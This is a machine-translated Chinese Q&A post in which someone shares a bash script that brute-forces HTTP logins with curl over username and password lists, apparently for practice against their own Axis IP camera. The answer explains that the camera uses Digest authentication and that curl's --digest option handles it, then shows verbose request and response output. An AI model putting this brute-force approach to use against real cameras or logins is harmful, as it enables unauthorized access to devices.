基于 GET 的 HTTP 登录中的 curl 语法



出于实践目的,我决定创建一个简单的暴力破解bash脚本,我成功地使用它来解决DWVA。然后我转向物联网 - 即我的旧IP摄像机。这是我目前的代码:

#!/bin/bash
if [ "${#@}" != "2" ]; then
echo "<command><host><path>"
exit
fi
ip=$1
path=$2
for name in $(cat user.txt); do
for pass in $(cat passwords.txt); do
echo  ${name}:${pass}
res="$(curl -si ${name}:${pass}@${ip}${path})"
check=$(echo "$res" | grep "HTTP/1.1 401 Unauthorised")
if [ "$check" != '' ]; then
tput setaf 1
echo "[FAILURE]"
tput sgr0
else
tput setaf 2
echo "[SUCCESS]"
tput sgr0
exit
fi
sleep .1
done;
done;

尽管存在明显的缺陷 - 例如在网络故障时报告成功 - 但它与我的 20 分钟编码工作一样好。但是,我似乎无法完全正确理解 curl 命令语法。有问题的相机是一个简单的轴,运行cramFS和一个小脚本操作系统。它类似于许多公开可用的相机的登录表单,例如在此处,此处或此处找到的登录表单。一个简单的GET,但我觉得我正在用头撞墙。在这一点上,任何一点点的暗示都会被疯狂地欣赏。

我冒昧地粘贴了第一个GET包的内容:

AYGET /operator/basic.shtml?id=478 HTTP/1.1
Host: <target_host_ip>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://<target_host_ip>/view/view.shtml?id=282&imagepath=%2Fmjpg%2Fvideo.mjpg&size=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Digest username="root", realm="AXIS_ACCC8E4A2177", nonce="w3PH7XVmBQA=32dd7cd6ab72e0142e2266eb2a68f59e92995033", uri="/operator/basic.shtml?id=478", algorithm=MD5, response="025664e1ba362ebbf9c108b1acbcae97", qop=auth, nc=00000001, cnonce="a7e04861c3634d3b"

寄回的包裹是简单、干燥的 401。

PS.:任何权力 - 如果IP违反任何内容,请随时删除IP。也请随时指出语法/拼写等错误,因为 C2 考试即将到来。

看起来这些相机不仅使用带有base64编码用户名:密码组合的"基本"HTTP身份验证,而是使用涉及更多内容的摘要式身份验证。

幸运的是,使用 cURL 这只是意味着您需要在命令行上指定--digest才能正确处理它。

使用以下方法自行测试事件序列:

curl --digest http://user:password@example.com/digest-url/

您应该看到类似于以下内容的内容:

*   Trying example.com...
* Connected to example.com (x.x.x.x) port 80 (#0)
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
< 
* Closing connection 0
* Issue another request to this URL: 'http://admin:admin2@example.com/view/viewer_index.shtml?id=1323'
* Server auth using Digest with user 'admin'
> GET /view/viewer_index.shtml?id=1323 HTTP/1.1
> Host: example.com
> Authorization: Digest username="admin", realm="AXIS_MACADDR", nonce="00b035e7Y417961b2083fae7e4b2c4053e39ef8ba0b65b", uri="/view/viewer_index.shtml?id=1323", cnonce="NWIxZmY1YzA3NmY3ODczMDA0MDg4MTUwZDdjZmE0NGI=", nc=00000001, qop=auth, response="3b03254ef43bc4590cb00ba32defeaff"
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Date: Wed, 08 Nov 1972 17:30:37 GMT
< Accept-Ranges: bytes
< Connection: close
* Authentication problem. Ignoring this.
< WWW-Authenticate: Digest realm="AXIS_MACADDR", nonce="00b035e8Y8232884a74ee247fc1cc42cab0cdf59839b6f", stale=FALSE, qop="auth"
< WWW-Authenticate: Basic realm="AXIS_MACADDR"
< Content-Length: 189
< Content-Type: text/html; charset=ISO-8859-1
< 

最新更新